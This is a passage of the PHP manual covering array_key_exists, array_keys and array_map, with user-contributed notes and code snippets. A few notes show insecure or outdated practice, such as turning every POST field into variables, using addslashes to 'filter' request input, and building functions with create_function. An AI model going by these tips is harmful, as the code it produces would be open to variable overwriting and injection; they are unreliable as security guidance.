            unset($array1[$key]);
    }
?>

On my computer, when $array1 has a single element and $array2 has 2600 elements, option 1 takes 50 milli-seconds, and option 2 takes 50 micro-seconds (1000 times less!).
wolf550e at gmail dot com 27-Sep-2007 12:51
array_key_exists(), at least in 5.2.4, passes the array by value. I conclude this from seeing performance worsen as the array to search got bigger. isset() doesn't have this problem.
diogoshaw at gmail dot com 15-Sep-2007 11:58
this function very good to use if you need to verify many variables:

<?php
function array_key_exists_r($keys, $search_r) {
    $keys_r = split('\|',$keys);
    foreach($keys_r as $key)
    if(!array_key_exists($key,$search_r))
    return false;
    return true;
}
?>

e.g.

<?php
if(array_key_exists_r('login|user|passwd',$_GET)) {
// login
} else {
// other
}
?>

works for me, enjoy.
dg shaw.
j_hattersleydykes {at} yahoo uk 26-Aug-2007 05:39
hey - I thought this function maybe useful to someone somewhere..
It works on an array of the keys you want to check exist. you could pass in the names of form fields and the POST array - suppose it could be useful in aiding form validation.

function array_keys_exist(array $keys, array $toCheck, $whichKey = false)
{
    foreach ($keys as $array_key)
    {
        if (! array_key_exists($array_key, $toCheck))
        {
            // return first key thats not found.
            if ($whichKey)
            {
                return $array_key;
            }
            else
            {
                return false;
            }
        }
    }
    // all keys exist
    return true;
}

hope someone finds it useful :)
sj-b at hotmail dot de 31-Jul-2007 09:14
i dont like how empty() works.
an integer with value 0 or a boolean wth
value false (same like zero) counts as
empty too.

[code]function r_empty (&$check)
{
    if (!isset($check)) return true;
    if ($check == NULL) return true;
    return false;
}[/code]

that is a good replacement for
both functions for me.
Lucknut dot xbl at googlemail dot com 18-Jul-2007 10:44
I found this function very good to use if your want your urls like index.php?login or index.php?register
e.g.
<?php
if( array_key_exists( 'home',$_GET ) ) {
    echo "Home - its where the heart is.";
} else if( array_key_exists( 'login',$_GET ) ) {
    echo "Login code here!";
} else if( array_key_exists( 'register',$_GET ) ) {
    echo "Register code here!";
} else {
    echo "Home - its where the heart is.";
}
?>
david at madole dot net 05-Jul-2007 08:11
Regarding performance differences between isset() and array_key_exists(), the differences may be there, but the function are not always interchangable.

Note that when $a[1] = null then isset($a[1]) == false but array_key_exists(1, $a) == true
eidberger at jakota dot de 11-Jun-2007 01:14
Just wondered why array_key_exists() makes me a cpu-load of 85% while isset() only needs 35%.

Not a big thing for one time execution, but in my case it have to check 1-dimensional array with ~ 15.000 entries 100 times a second. My code checks a big array for existing entrys and updates them, if needed.

Hopes it helps somebody. Notice that on many other functions, which makes coding more comfortable at the cost of speed.
php at ianco dot co dot uk 09-Apr-2007 01:58
array_key_exists is case sensitive (at least in PHP 4.3.9). To make a case-insensitive comparison you could use strtolower on both sides.
inker2576 at yahoo dot com 06-Mar-2007 08:01
Further research on this has turned up that the performance problems are a known, confirmed bug in PHP 5.1.x, and have been fixed in PHP builds after September 2006.  You can find the bug report here:  http://bugs.php.net/bug.php?id=38812

However, just because it's a fixed bug doesn't really change the conclusion.  If you're writing a script and there's any chance it could be used on a PHP 5.1.x server, you should still avoid this function and use isset() or some other kind of test if you want it to run efficiently.
serkan yersen 07-Feb-2007 04:01
marzetti.marco,
I fixed your function it's is more optimized and working better now.

function regex_array_keys($arr, $pattern){
   $results[] = false;

   if(!is_array($arr))
       return false;

   foreach($arr as $key => $val){
         if(!is_array($key))
       if(preg_match($pattern,$key))
              array_push($results,$key);
   }

   return $results;
}
Matt 01-Dec-2006 01:50
mikael dot knutsson at gmail dot com:
I don't think it does, at least in PHP5?

For example, this outputs bool(false):

$ar = array ( 'outter' => array ( 'inner' => 1 ) );
var_dump(array_key_exists('inner', $ar));

So it doesn't actually check the inner array for the key 'inner'.
mikael dot knutsson at gmail dot com 24-Nov-2006 04:05
When dealing with multi-dimensional arrays, this function checks through all keys in the array, including the "child arrays" unlike the array_keys( array, $search ) function which would only check and return from the first level of keys.

Took me a couple of minutes to figure out what was wrong and I hope it helps some people when looking for the right function.
Mike Toppa 03-Aug-2006 10:43
At least in PHP 4.4.0, array_key_exists is inconsistently sensitive to different data types. For example, if your first argument is a double and the keys in your array are integers, array_key_exists will always return false. If you then cast the first argument to an integer, or even to a string, then you can successfully match. I haven't tested all the possibilities, to see when it'll tolerate different data types and when it won't, so the easiest and safest solution is to cast your first argument to match the data type of the keys.
array_intersect
array_keys
Array Functions


Return all the keys or a subset of the keys of an array

array_key_exists
array_map
Array Functions
PHP Manual

array_keys

(PHP 4, PHP 5)

array_keys — Return all the keys or a subset of the keys of an array

Description

array array_keys ( array $input [, mixed $search_value [, bool $strict = false ]] )

array_keys() returns the keys, numeric and string, from the input array.

If the optional search_value is specified, then only the keys for that value are returned. Otherwise, all the keys from the input are returned.

Parameters

input

An array containing keys to return.

search_value

If specified, then only keys containing these values are returned.

strict

Determines if strict comparison (===) should be used during the search.

Return Values

Returns an array of all the keys in input.

Changelog

Version | Description
5.0.0 | Added the strict parameter.

Examples

Example #1 array_keys() example

<?php
$array = array(0 => 100, "color" => "red");
print_r(array_keys($array));

$array = array("blue", "red", "green", "blue", "blue");
print_r(array_keys($array, "blue"));

$array = array("color" => array("blue", "red", "green"),
               "size"  => array("small", "medium", "large"));
print_r(array_keys($array));
?>

The above example will output:

Array
(
    [0] => 0
    [1] => color
)
Array
(
    [0] => 0
    [1] => 3
    [2] => 4
)
Array
(
    [0] => color
    [1] => size
)

See Also

  • array_values() - Return all the values of an array
  • array_key_exists() - Checks if the given key or index exists in the array
  • array_search() - Searches the array for a given value and returns the corresponding key if successful

User Contributed Notes

izzecold at live dot de 10-Jan-2012 09:21
<?php

/* A Function created by myself for checking multiple array keys
For Example u got an Array like $_SESSION and u wanna know if the keys 'user','pass','email' and 'type' exists.

*/

function mKeyChecker($arr,$keys=array()) {
    if(count($keys) > 1) {
        $valid_keys = 0;
        foreach($keys as $key) {
            if(array_key_exists($key,$arr)) $valid_keys++;
        }
        if($valid_keys == count($keys)) {
            return true;
        } else {
            return false;
        }
    } else if(count($keys) == 1) {
        if(array_key_exists($key[0],$arr)) {
            return true;
        } else {
            return false;
        }
    } else {
        return false;
    }
}

// Execution Example

if(mKeyChecker($_SESSION,array('id','user','email','type'))) {
    echo "is!";
} else {
    echo "not!";
}

?>
craig1231 at hotmail dot com 22-Dec-2011 03:41
A needed a function to find the keys which contain part of a string, not equalling a string...

<?php
function array_keys_contain($input, $search_value, $strict = false)
    {
        $tmpkeys = array();

        $keys = array_keys($input);

        foreach ($keys as $k)
        {
            if ($strict && strpos($k, $search_value) !== FALSE)
                $tmpkeys[] = $k;
            elseif (!$strict && stripos($k, $search_value) !== FALSE)
                $tmpkeys[] = $k;
        }

        return $tmpkeys;
    }
?>
el dot quick at gmail dot com 23-Sep-2011 08:23
Sorry for my english...

I wrote a function to get keys of arrays recursivelly...

<?php
    function recursive_keys($input, $search_value = null){

        $output = ($search_value !== null ? array_keys($input, $search_value) : array_keys($input)) ;
        foreach($input as $sub){
            if(is_array($sub)){
                $output = ($search_value !== null ? array_merge($output, recursive_keys($sub, $search_value)) : array_merge($output, recursive_keys($sub))) ;
            }
        }
        return $output ;
    }
?>

I hope it will be usefull

Regards
pat dot leblanc at gmail dot com 29-Aug-2011 02:05
It's worth noting that if you have keys that are long integer, such as '329462291595', they will be considered as such on a 64bits system, but will be of type string on a 32 bits system.

for example:
<?php

$importantKeys = array('329462291595' =>null, 'ZZ291595' => null);

foreach(array_keys($importantKeys) as $key){
    echo gettype($key)."\n";
}

?>

will return on a 64 bits system:
<?php
    integer
    string
?>

but on a 32 bits system:
<?php
    string
    string
?>

I hope it will save someone the huge headache I had :)
rarioj at gmail dot com 04-Oct-2009 06:38
Sometimes we want to find out the last added numerical key right after we use " array_push($array, $value) " or " $array[] = $value ". This can be achieved by calling:

<?php
return array_pop(array_keys($array));
?>
ferrerna at gmail dot com 23-Jan-2009 09:14
Here's a function I needed to collapse an array, in my case from a database query.  It takes an array that contains key-value pairs and returns an array where they are actually the key and value.

<?php

function array_collapse($arr, $x, $y) {
    $carr = array();
    while ($el = current($arr)) {
        $carr[ $el[$x] ] = $el[$y];
        next($arr);
    }
    return $carr;
}

?>

Example usage (pseudo-database code):

<?php

$query = db_query('SELECT name, value FROM properties');

$result = db_returnAll($query);

/* This will return an array like so:

[
   ['name' -> 'color', 'value' -> 'blue'],
   ['name' -> 'style', 'value' -> 'wide-format'],
   ['name' -> 'weight', 'value' -> 3.6],
   ['name' -> 'name', 'value' -> 'Waerdthing']
]

*/

$propArr = array_collapse($result, 'name', 'value');

/* Now this array looks like:

[
   ['color' -> 'blue'],
   ['style' -> 'wide-format'],
   ['weight' -> 3.6],
   ['name' -> 'Waerdthing'],

*/

?>

I found this handy for using with json_encode and am using it for my project http://squidby.com
nodarinodo at mail dot ru 03-Dec-2008 11:35
<?php
    //It's a way to get keys from values )
    $es = array("is My FullName"=>"nodar chkuaselidze (nodarinodo)", "You Are" => "I don't know", "Is My Friend" => "ruxadze");
    foreach(array_values($es) as $ess){
        echo $ess." =>";

    for($i =0; $i < count(array_keys($es, $ess)); $i++){
            echo reset(array_keys($es, $ess))."<BR>";
        } }
?>
neil at 11 out of 10 24-Jul-2008 12:10
<?php

/*
 * This function will return the keys of elements in the
 * haystack where the value is found in array needle
 */

function array_value_intersect_keys( $array_haystack, $array_needle ){
    $intersected = array_intersect( $array_haystack, $array_needle );
    return array_keys( $intersected );
}

// usage

$array_haystack = array( 1 => 2, 2 => 5, 'red' => 8, 9 => 14 );

$array_needle = array( 2, 8 );

$array_keys_of_intersecting_values = array_value_intersect_keys( $array_haystack, $array_needle );

print_r( $array_keys_of_intersecting_values );
?>

returns
Array
(
    [0] => 1
    [1] => red
)
edsongarrido at gmail dot com 12-Jun-2008 05:46
/*
*
*This function will return a .csv from a given array inside the $_SESSION['my_array']
*
*$csv_name -> the name we want the csv has to
*$download -> true or false to download the csv file after done
*
*/

<?php

function createCSV($csv_name, $download) {

        $i = 1;
        $csv = "";

        /* erase the old file, if it exists */
        @unlink("../../csv/" . $csv_name . ".csv");

        /* array is in a session variable
         * this may be useful to avoid many db queries if it is the case */
        $my_array = $_SESSION['my_array'];

        /* how many fields has the given array */
        $fields = count(array_keys($my_array[0]));

        /* extracting the titles from the array */
        foreach(array_keys($my_array[0]) as $title)
        {
            /* array_keys percurs the title of each vector */
            $csv .= $title;

            /* while it is not the last field put a semi-colon ; */
            if($i < $fields)
                $csv .= ";";

            $i++;
        }

        /* insert an empty line to better visualize the csv */
        $csv .= chr(10).chr(13);
                $csv .= chr(10).chr(13);

        /* get the values from the extracted keys */
        foreach (array_keys($my_array) as $tipo)
        {

            $i = 1;

            foreach(array_keys($my_array[$tipo]) as $sub)
            {

                $csv .= $my_array[$tipo][$sub];

                if ($i < $fields)
                    $csv .= ";";

                $i++;
            }

            $csv .= chr(10).chr(13);

        }

        /* export the csv */
        $export_csv=fopen("../../csv/". $csv_name .".csv", "w+");
        fwrite($export_csv, $csv);
        fclose($export_csv);

        /* download the csv */
        if ($download == true)
            header('Location:' . "../../csv/" . $csv_name . ".csv");

        exit();

    }

?>
Hayley Watson 04-Oct-2007 06:43
An alternative to RQuadling at GMail dot com's array_remove() function:

<?php
function array_remove(array $array, $value, $strict=false)
{
    return array_diff_key($array, array_flip(array_keys($array, $value, $strict)));
}
?>
RQuadling at GMail dot com 28-Mar-2007 05:31
If you want to remove a value from an array, then there is no direct mechanism.

The following function uses the array_keys() function to find the key(s) of the value that you want to remove and then removes the elements for that key.

I've also given some examples and the output.

<?php
/**
  * array array_remove ( array input, mixed search_value [, bool strict] )
  **/
function array_remove(array &$a_Input, $m_SearchValue, $b_Strict = False) {
    $a_Keys = array_keys($a_Input, $m_SearchValue, $b_Strict);
    foreach($a_Keys as $s_Key) {
        unset($a_Input[$s_Key]);
    }
    return $a_Input;
}
?>

Beside scalar variables (integers, floats, strings, boolean), you can also use arrays as the values you want to remove.

<?php
// Results in array(8, 8.0, '8', '8.0')
array_remove(array(8, 8.0, '8', '8.0', array(8), array('8')), array(8));

// Results in array(8, 8.0, '8', '8.0', array('8'))
array_remove(array(8, 8.0, '8', '8.0', array(8), array('8')), array(8), True);
?>
creator at mindcreations dot com 20-Mar-2007 02:12
This function will extract keys from a multidimensional array

<?php
function multiarray_keys($ar) {

    foreach($ar as $k => $v) {
        $keys[] = $k;
        if (is_array($ar[$k]))
            $keys = array_merge($keys, multiarray_keys($ar[$k]));
    }
    return $keys;
}
?>

Example code:

<?php
$array = array("color" => array("1stcolor" => "blue", "2ndcolor" => "red", "3rdcolor" => "green"),
               "size"  => array("small", "medium", "large"));

echo "<pre>";
print_r($array);
echo "</pre>";

echo "<pre>";
print_r(multiarray_keys($array));
echo "</pre>";
?>

Example output:

Array
(
    [color] => Array
        (
            [1stcolor] => blue
            [2ndcolor] => red
            [3rdcolor] => green
        )

    [size] => Array
        (
            [0] => small
            [1] => medium
            [2] => large
        )

)

Array
(
    [0] => color
    [1] => 1stcolor
    [2] => 2ndcolor
    [3] => 3rdcolor
    [4] => size
    [5] => 0
    [6] => 1
    [7] => 2
)
Ray.Paseur sometimes uses GMail 21-Dec-2006 04:38
Replace a key in an associative array, preserving the original order of keys and elements:

<?php
if (!function_exists('array_combine')) { // ONLY EXISTS IN PHP5
    function array_combine($keys, $values) {
        if (count($keys) != count($values)) {
    return false; }
        foreach($keys as $key) { $array[$key] = array_shift($values); }
    return $array; }
} // END IF FUNCTION EXISTS

$keys = array_keys($array);
$values = array_values($array);
foreach ($keys as $k => $v) {
    if ($v == "MANAGEMENT FEE CHARGE") { $keys[$k] = "MANAGEMENT FEES"; }
}
$array = array_combine($keys, $values);
?>
jochem 17-Feb-2006 04:13
might be worth noting in the docs that not all associative (string) keys are a like, output of the follow bit of code demonstrates - might be a handy introduction to automatic typecasting in php for some people (and save a few headaches):

<?php
$r = array("0"=>"0","1"=>"1","" =>"2"," "=>"3");
echo 'how php sees this array: array("0"=>"0","1"=>"1","" =>"2"," "=>"3")',"\n-----------\n";
var_dump($r); print_r($r); var_export($r);
echo "\n-----------\n",'var_dump("0","1",""," ") = ',"\n-----------\n";
var_dump("0","1",""," ");
?>

OUTPUTS:

how php sees this array: array("0"=>"0","1"=>"1","" =>"2"," "=>"3")
-----------
array(4) {
  [0]=>
  string(1) "0"
  [1]=>
  string(1) "1"
  [""]=>
  string(1) "2"
  [" "]=>
  string(1) "3"
}
Array
(
    [0] => 0
    [1] => 1
    [] => 2
    [ ] => 3
)
array (
  0 => '0',
  1 => '1',
  '' => '2',
  ' ' => '3',
)
-----------
var_dump("0","1",""," ") =
-----------
string(1) "0"
string(1) "1"
string(0) ""
string(1) " "
Sven (bitcetera.com) 19-Dec-2005 06:43
Here's how to get the first key, the last key, the first value or the last value of a (hash) array without explicitly copying nor altering the original array:

<?php
  $array = array('first'=>'111', 'second'=>'222', 'third'=>'333');

  // get the first key: returns 'first'
  print array_shift(array_keys($array));

  // get the last key: returns 'third'
  print array_pop(array_keys($array));

  // get the first value: returns '111'
  print array_shift(array_values($array));

  // get the last value: returns '333'
  print array_pop(array_values($array));
?>
vesely at tana dot it 09-Dec-2005 01:56
The position of an element.

One can apply array_keys twice to get the position of an element from its key. (This is the reverse of the function by cristianDOTzuddas.) E.g., the following may output "yes, we have bananas at position 0".

<?php
$a = array("banana" => "yellow", "apple" = "red");
$k = get_some_fruit();
if (isset($a[$k]))
{
   list($pos) = array_keys(array_keys($a), $k);
   print "yes, we have {$k}s at position $pos\n";
}
?>

Not amazingly efficient, but I see no better alternative.
ru dot dy at gmx dot net 14-Aug-2005 09:20
I was looking for a function that simply unset a variable amout of values from a one-dimensional array by key. I ended up with this (returns the array itself if no further parameter than the array is given, false with no params - does not change the source array)

usage: array_remove(array $input [, mixed key ...])

<?php

  function array_remove() {
    if ($stack = func_get_args()) {
      $input = array_shift($stack);
      foreach ($stack as $key) {
        unset($input[$key]);
      }
      return $input;
    }
    return false;
  }

?>

Test:

<?php
  $a = array('a'=>'fun', 'b'=>3.14, 'sub'=> array('1', '2', '3'), 'd'=>'what', 'e' => 'xample', 5 => 'x');
  print_r($a);
  print_r(array_remove($a, 'd', 'b', 5, 'sub'));
?>

Output:

Array
(
    [a] => fun
    [b] => 3.14
    [sub] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

    [d] => what
    [e] => xample
    [5] => x
)
Array
(
    [a] => fun
    [e] => xample
)

Hope this helps someone.
alex [@T] d-sn [D@T] com / Alex Galisteo 07-Aug-2005 02:46
My version of PHP does not support the strict parameter. Moreover, I need a function that could make other comparsion different than equals and stricktly equals.

The funcition array_keys_advanced can make the following comparsions: equal, not equal, strictly greater than, equal or greater than, strictly less than, equal or less than.

<?php
if (!function_exists('array_keys_advanced')) {
    //{{{ array_keys_advanced
    /**
     * Returns an array with the matching keys as values. A comparsion type can
     * be spcified, even if it should be a strict comparsion or not.
     * Note: It is not recursive.
     *
     * @param    array    $input
     * @param    string   $search_value
     * @param    bool     $strict
     * @param    string   $comparison: {EQ | NEQ | GT | EGT | LT | ELT}
     * @return   Returns an array with the matching keys as values.
     * @author   alex [@T] d-sn [D@T] com // Alex Galisteo
     */
    function array_keys_advanced() {
        $nargs = func_num_args();
        $arr = array();
        $input = null;
        $search_value = null;
        $strict = (bool) false;
        $comparison  = "EQ";
        $comparsion_types = array("EQ", "NEQ", "GT", "EGT", "LT", "ELT");
        switch ($nargs) {
        case 1:
            $input = func_get_arg(0);
            return array_keys($input);
            break;
        case 2:
            $input = func_get_arg(0);
            $search_value = func_get_arg(1);
            return array_keys($input, $search_value);
            break;
        case 3:
            $input = func_get_arg(0);
            $search_value = func_get_arg(1);
            $strict = (bool) func_get_arg(2);
            $comparsion  = "EQ";
            break;
        case 4:
            $input = func_get_arg(0);
            $search_value = func_get_arg(1);
            $strict = (bool) func_get_arg(2);
            $comparsion = strtoupper((string) func_get_arg(3));
            $comparsion = (in_array($comparsion, $comparsion_types))?
                            $comparsion : "EQ";
            break;
        default:
            return $arr;
            break;
        }
        foreach ($input as $key => $val) {
            if ($strict) {
                if ($comparsion == "EQ" && $search_value === $val) {
                    $arr[] = $key;
                }
                elseif ($comparsion == "NEQ" && $search_value !== $val)
                    $arr[] = $key;
                elseif ($comparsion == "GT" && $search_value > $val)
                    $arr[] = $key;
                elseif ($comparsion == "EGT" && $search_value >= $val)
                    $arr[] = $key;
                elseif ($comparsion == "LT" && $search_value < $val)
                    $arr[] = $key;
                elseif ($comparsion == "ELT" && $search_value <= $val)
                    $arr[] = $key;
            } else {
                if ($comparsion == "EQ" && $search_value == $val)
                    $arr[] = $key;
                elseif ($comparsion == "NEQ" && $search_value != $val)
                    $arr[] = $key;
                elseif ($comparsion == "GT" && $search_value > $val)
                    $arr[] = $key;
                elseif ($comparsion == "EGT" && $search_value >= $val)
                    $arr[] = $key;
                elseif ($comparsion == "LT" && $search_value < $val)
                    $arr[] = $key;
                elseif ($comparsion == "ELT" && $search_value <= $val)
                    $arr[] = $key;
            }
        }
        return $arr;
    }
    //}}}
} //endif function_exists
?>
webmaster [at] baz-x [dot] at 29-Jul-2005 03:43
I was looking for a function that deletes either integer keys or string keys (needed for my caching).
As I didn't find a function I came up with my own solution.
I didn't find the propiest function to post to so I will post it here, hope you find it useful.

<?php

function array_extract($array, $extract_type = 1)
{
    foreach ( $array as $key => $value )
    {
        if ( $extract_type == 1 && is_string($key) )
        {
            // delete string keys
            unset($array[$key]);
        }
        elseif ( $extract_type == 2 && is_int($key) )
        {
            // delete integer keys
            unset($array[$key]);
        }
    }

    return $array;
}

?>

You can of course define constants to have a nicer look, I have chosen these: EXTR_INT = 1; EXTR_STRING = 2
EXTR_INT will return an array where keys are only integer while
EXTR_STRING will return an array where keys are only string

Have fun with it.
sip at email dot ee 22-Aug-2003 05:33
Note, that using array_key_exists() is rather inefficient. The overhead associated with calling a function makes it slower, than using isset($array[$key]), instead of array_key_exists($key, $array)
using isset() is usually about 1.3 times faster, according to my tests.
rodrigo at NOSPAM dot dhweb dot com dot br 04-Feb-2003 04:39
[Editor's note: For a complete solution to the printing of complex structures or hashes, see the PEAR::Var_Dump package: http://pear.php.net/package-info.php?pacid=103 , use "pear install Var_Dump" to get it]

This function will print all the keys of a multidimensional array in html tables.
It will help to debug when you don´t have control of depths.

<?php
function show_keys($ar){

   echo "<table width='100%' border='1' bordercolor='#6699CC' cellspacing='0' cellpadding='5'><tr valign='top'>";

      foreach ($ar as $k => $v ) {

         echo "<td align='center' bgcolor='#EEEEEE'>
           <table border='2' cellpadding='3'><tr><td bgcolor='#FFFFFF'><font face='verdana' size='1'>
              " . $k . "
           </font></td></tr></table>";

           if (is_array($ar[$k])) {
              show_keys ($ar[$k]);
         }

         echo "</td>";

      }

   echo "</tr></table>";

}

// Multidimensional array ->
$arvore = array();
$arvore['1'] = array();
$arvore['1']['1.1'] = array('1.1.1', '1.1.2', '1.1.3');
$arvore['1']['1.2'] = array('1.2.1', '1.2.2', '1.2.3');
$arvore['1']['1.3'] = array('1.3.1', '1.3.2', '1.3.3');
$arvore['2'] = array();
$arvore['2']['2.1'] = array('2.1.1', '2.1.2', '2.1.3');
$arvore['2']['2.2'] = array('2.2.1', '2.2.2', '2.2.3');
$arvore['2']['2.3'] = array('2.3.1', '2.3.2', '2.3.3');
$arvore['3'] = array();
$arvore['3']['3.1'] = array('3.1.1', '3.1.2', '3.1.3');
$arvore['3']['3.2'] = array('3.2.1', '3.2.2', '3.2.3');
$arvore['3']['3.3'] = array('3.3.1', '3.3.2'=>array('3.3.2.1', '3.3.2.2'), '3.3.3');
// <-

show_keys($arvore);
?>
michielbakker at msn dot com 13-Nov-2002 09:45
If you receive a bunch of variables and like to change most of them (or all of them for that matter), you can do something like this: (data has been sent to a page with POST)

<?php
$allKeys = array_keys($HTTP_POST_VARS);

for ($i=0;$i<count($allKeys);$i++)
{
      $$allKeys[$i] = strtoupper($HTTP_POST_VARS[$allKeys[$i]]);
}
?>

This makes caracters (a-z) uppercase. This is just one way to use it, ofcourse.

Hope this helps someone understand the way to use array_keys() or give any ideas. :)
glennh at webadept dot net 13-Nov-2002 04:03
All the cool notes are gone from the site.

Here's an example of how to get all the variables passed to your program using the method on this page. This prints them out so you can see what you are doing.

<?php
while (list($key, $value) = each
(${"HTTP_".$REQUEST_METHOD."_VARS"}))
{
        echo $key." = ".$value." ";
}
?>
jacob at keystreams dot com 20-Aug-2002 11:05
Here is a way to use array_intersect on array keys rather than values:

<?php
$a = array("apple" => "red", "banana" => "yellow");
$z = array("apple" => "green", "peach" => "orange", "banana" => "rotten");

$intersected_keys = array_intersect(array_keys($a), array_keys($z));

print_r($intersected_keys);
?>

This will print:

Array ( [0] => apple [1] => banana )
array_key_exists
array_map
Array Functions


Applies the callback to the elements of the given arrays

array_keys
array_merge_recursive
Array Functions
PHP Manual

array_map

(PHP 4 >= 4.0.6, PHP 5)

array_map — Applies the callback to the elements of the given arrays

Description

array array_map ( callback $callback , array $arr1 [, array $... ] )

array_map() returns an array containing all the elements of arr1 after applying the callback function to each one. The number of parameters that the callback function accepts should match the number of arrays passed to the array_map()

Parameters

callback

Callback function to run for each element in each array.

arr1

An array to run through the callback function.

array

Variable list of array arguments to run through the callback function.

Return Values

Returns an array containing all the elements of arr1 after applying the callback function to each one.

Examples

Example #1 array_map() example

<?php
function cube($n)
{
    return($n * $n * $n);
}

$a = array(1, 2, 3, 4, 5);
$b = array_map("cube", $a);
print_r($b);
?>

This makes $b have:

Array
(
    [0] => 1
    [1] => 8
    [2] => 27
    [3] => 64
    [4] => 125
)

Example #2 array_map() using a lambda function (as of PHP 5.3.0)

<?php
$func = function($value) {
    return $value * 2;
};

print_r(array_map($func, range(1, 5)));
?>
Array
(
    [0] => 2
    [1] => 4
    [2] => 6
    [3] => 8
    [4] => 10
)

Example #3 array_map() - using more arrays

<?php
function show_Spanish($n, $m)
{
    return("The number $n is called $m in Spanish");
}

function map_Spanish($n, $m)
{
    return(array($n => $m));
}

$a = array(1, 2, 3, 4, 5);
$b = array("uno", "dos", "tres", "cuatro", "cinco");

$c = array_map("show_Spanish", $a, $b);
print_r($c);

$d = array_map("map_Spanish", $a , $b);
print_r($d);
?>

The above example will output:

// printout of $c
Array
(
    [0] => The number 1 is called uno in Spanish
    [1] => The number 2 is called dos in Spanish
    [2] => The number 3 is called tres in Spanish
    [3] => The number 4 is called cuatro in Spanish
    [4] => The number 5 is called cinco in Spanish
)

// printout of $d
Array
(
    [0] => Array
        (
            [1] => uno
        )

    [1] => Array
        (
            [2] => dos
        )

    [2] => Array
        (
            [3] => tres
        )

    [3] => Array
        (
            [4] => cuatro
        )

    [4] => Array
        (
            [5] => cinco
        )

)

Usually when using two or more arrays, they should be of equal length because the callback function is applied in parallel to the corresponding elements. If the arrays are of unequal length, the shortest one will be extended with empty elements.

An interesting use of this function is to construct an array of arrays, which can be easily performed by using NULL as the name of the callback function

Example #4 Creating an array of arrays

<?php
$a = array(1, 2, 3, 4, 5);
$b = array("one", "two", "three", "four", "five");
$c = array("uno", "dos", "tres", "cuatro", "cinco");

$d = array_map(null, $a, $b, $c);
print_r($d);
?>

The above example will output:

Array
(
    [0] => Array
        (
            [0] => 1
            [1] => one
            [2] => uno
        )

    [1] => Array
        (
            [0] => 2
            [1] => two
            [2] => dos
        )

    [2] => Array
        (
            [0] => 3
            [1] => three
            [2] => tres
        )

    [3] => Array
        (
            [0] => 4
            [1] => four
            [2] => cuatro
        )

    [4] => Array
        (
            [0] => 5
            [1] => five
            [2] => cinco
        )

)

If the array argument contains string keys then the returned array will contain string keys if and only if exactly one array is passed. If more than one argument is passed then the returned array always has integer keys.

Example #5 array_map() - with string keys

<?php
$arr = array("stringkey" => "value");
function cb1($a) {
    return array ($a);
}
function cb2($a, $b) {
    return array ($a, $b);
}
var_dump(array_map("cb1", $arr));
var_dump(array_map("cb2", $arr, $arr));
var_dump(array_map(null,  $arr));
var_dump(array_map(null, $arr, $arr));
?>

The above example will output:

array(1) {
  ["stringkey"]=>
  array(1) {
    [0]=>
    string(5) "value"
  }
}
array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(5) "value"
    [1]=>
    string(5) "value"
  }
}
array(1) {
  ["stringkey"]=>
  string(5) "value"
}
array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(5) "value"
    [1]=>
    string(5) "value"
  }
}

See Also

  • array_filter() - Filters elements of an array using a callback function
  • array_reduce() - Iteratively reduce the array to a single value using a callback function
  • array_walk() - Apply a user function to every member of an array
  • create_function() - Create an anonymous (lambda-style) function
  • information about the callback type

User Contributed Notes

php/hotblocks/nl 28-Nov-2011 05:00
Note that the $arr argument has to be an array, not just a Traversable/Iterator.

For instance this won't work:

<?php

$documents = $mongo->db->collection->find();
// $documents is Traversable by foreach

$ids = array_map(function($document) {
  return $document['_id'];
}, $objects);
// $ids will now be NULL, because $documents wasn't an Array

?>

A solution is to first use iterator_to_array():

<?php

$ids = array_map(function($document) {
  return $document['_id'];
}, iterator_to_array($objects));
// $ids will now be an array of ['_id']s

?>

But this is not very efficient: two cycles instead of one. Another solution is to use foreach: one cycle and a lot of freedom (and in the same scope).
erik dot stetina at gmail dot com 27-Sep-2011 03:05
function to prefix given string to each element of an array:

<?php
function array_prefix_values($prefix, $array)
{
  $callback = create_function('$str','return "'.$prefix.'".$str;');
  return array_map($callback,$array);
}
?>

usage:

<?php
$dir = "./css/";
$files = scandir($dir);
$files = array_prefix_values($dir,$files);
print_r($files);
?>

output:

(
    [0] => ./css/.
    [1] => ./css/..
    [2] => ./css/default.css
    [4] => ./css/helper.css
    [6] => ./css/page_layout.css
)
spark at limao dot com dot br 08-Sep-2011 07:48
it's a usefull way to filter user input through get and post request arrays:

<?php
    $get = array_map("addslashes",$_GET);
?>
gordon dot mcvey at ntlworld dot com 28-Jan-2011 05:11
You can use array_map with PHP native functions as well as user functions.  This is very handy if you need to sanitize arrays.

<?php

$integers = array_map ('intval', $integers);
$safeStrings = array_map ('mysql_real_escape_string', $unsafeStrings);

?>
pike-php at kw dot nl 11-Jan-2011 06:04
If you're looking for a way to flatten multimaps, look at this:
<?php

    $multimap = array(
        array("name"=>"value1"),
        array("name"=>"value2"),
        array("name"=>"value3")
    );
    $flatmap = array_map("array_pop",$multimap);
    print_r($flatmap);
?>

Output:
Array
(
    [0] => value1
    [1] => value2
    [2] => value3
)
brendan DOT caffrey AT me DOT com 10-Jul-2010 03:42
Something that had me confused:

<?php
namespace test;

class Callback
{
    static function add($a) { return $a + 1; }
}

$array = array(0, 1, 2);
array_map(array('Callback', 'add'), $array); // will not work, even though you're calling this in the test namespace
array_map(array('test\Callback', 'add'), $array); // will work
?>
virtual dot greg at gmail dot com 05-Mar-2010 03:07
PHP 5.3 enables us to use inline anonymous functions with array_map, cleaning up the syntax slightly.

<?php
$data = array(
        array('id' => 1, 'name' => 'Bob', 'position' => 'Clerk'),
        array('id' => 2, 'name' => 'Alan', 'position' => 'Manager'),
        array('id' => 3, 'name' => 'James', 'position' => 'Director')
);

$names = array_map(
        function($person) { return $person['name']; },
        $data
);

print_r($names);
?>

This was possible (although not recommended) in prior versions of PHP 5, via create_function().

<?php
$names = array_map(
        create_function('$person', 'return $person["name"];'),
        $data
);
?>

You're less likely to catch errors in the latter version because the code is passed as string arguments.

These are alternatives to using a foreach:

<?php
$names = array();

foreach ($data as $row) {
        $names[] = $row['name'];
}
?>
kelly m 17-Feb-2010 02:28
I realize this function is easy enough to make, but this is a faster version (twice the speed) of [a function] which I find incredibly useful.

<?php
function array_pluck($key, $input) {
    if (is_array($key) || !is_array($input)) return array();
    $array = array();
    foreach($input as $v) {
        if(array_key_exists($key, $v)) $array[]=$v[$key];
    }
    return $array;
}
?>

Usage:

<?php $ids = array_pluck('id', $users); ?>
onassar at gmail dot com 13-Oct-2009 07:06
Fixed a bug with array recursion.

<?php
        /**
